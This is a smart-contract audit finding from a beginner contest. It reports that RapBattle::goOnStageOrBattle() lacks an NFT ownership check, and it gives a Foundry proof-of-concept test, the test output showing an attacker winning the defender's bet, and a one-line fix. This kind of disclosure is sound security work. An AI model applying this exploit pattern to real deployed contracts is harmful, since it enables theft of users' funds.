Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

[M-1] `RapBattle::goOnStageOrBattle()` don't check if `msg.sender == oneShotNft.ownerOf(_tokenId)` allowing someone else to claim the winning bet

Description

RapBattle::goOnStageOrBattle() is missing a check for msg.sender == oneShotNft.ownerOf(_tokenId) to make sure an attacker is not rap batteling with an NFT belonging to someone else

Impact

This issue could allow a malicious user to claim the winning bet instead of the OneShot NFT owner

Proof of Concept

Add the following to the OneShotTest.t.sol test suite.

Code
function test_CanBattleWithSomeoneElseNft() public twoSkilledRappers {
uint256 credBet = 3;
// User (defender) setup
uint256 oldUserBalance = cred.balanceOf(user);
console.log("Current user balance: ", oldUserBalance);
uint256 userTokenId = 0;
vm.startPrank(user);
oneShot.approve(address(rapBattle), userTokenId);
cred.approve(address(rapBattle), credBet);
rapBattle.goOnStageOrBattle(userTokenId, credBet);
vm.stopPrank();
// Attacker setup
address attacker = makeAddr("attacker");
vm.prank(challenger);
cred.transfer(attacker, credBet); // attacker has enough to match defender's bet
uint256 oldAttackerBalance = cred.balanceOf(attacker);
uint256 oldChallengerBalance = cred.balanceOf(challenger);
console.log("Current attacker balance: ", oldAttackerBalance);
console.log("Current challenger balance: ", oldChallengerBalance);
uint256 challengerTokenId = 1;
vm.prank(challenger); // Challenger allows attacker for reason X
oneShot.approve(attacker, challengerTokenId);
vm.startPrank(attacker);
cred.approve(address(rapBattle), credBet);
console.log("** FIGTH **");
rapBattle.goOnStageOrBattle(challengerTokenId, credBet);
vm.stopPrank();
uint256 newUserBalance = cred.balanceOf(user);
uint256 newAttackerBalance = cred.balanceOf(attacker);
uint256 newChallengerBalance = cred.balanceOf(challenger);
console.log("Current user balance: ", newUserBalance);
console.log("Current attacker balance: ", newAttackerBalance);
console.log("Current challenger balance: ", newChallengerBalance);
assert(oldChallengerBalance == newChallengerBalance);
assert(oldUserBalance > newUserBalance);
assert(oldAttackerBalance < newAttackerBalance);
}

Results: forge test --mt test_CanBattleWithSomeoneElseNft -vv
Running 1 test for test/OneShotTest.t.sol:RapBattleTest
[PASS] test_CanBattleWithSomeoneElseNft() (gas: 665152)
Logs:
Current user balance: 4
Current attacker balance: 3
Current challenger balance: 1
** FIGTH **
Current user balance: 1
Current attacker balance: 6
Current challenger balance: 1
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.61ms

Recommended Mitigation

function goOnStageOrBattle(uint256 _tokenId, uint256 _credBet) external {
+ require(msg.sender == oneShotNft.ownerOf(_tokenId), "RapBattle: Sender is not the owner of oneShotNft");
if (defender == address(0)) {
defender = msg.sender;
defenderBet = _credBet;
defenderTokenId = _tokenId;
emit OnStage(msg.sender, _tokenId, _credBet);
oneShotNft.transferFrom(msg.sender, address(this), _tokenId);
credToken.transferFrom(msg.sender, address(this), _credBet);
} else {
// credToken.transferFrom(msg.sender, address(this), _credBet);
_battle(_tokenId, _credBet);
}
}
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Challenger can use any nft to battle - not necessarily theirs

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.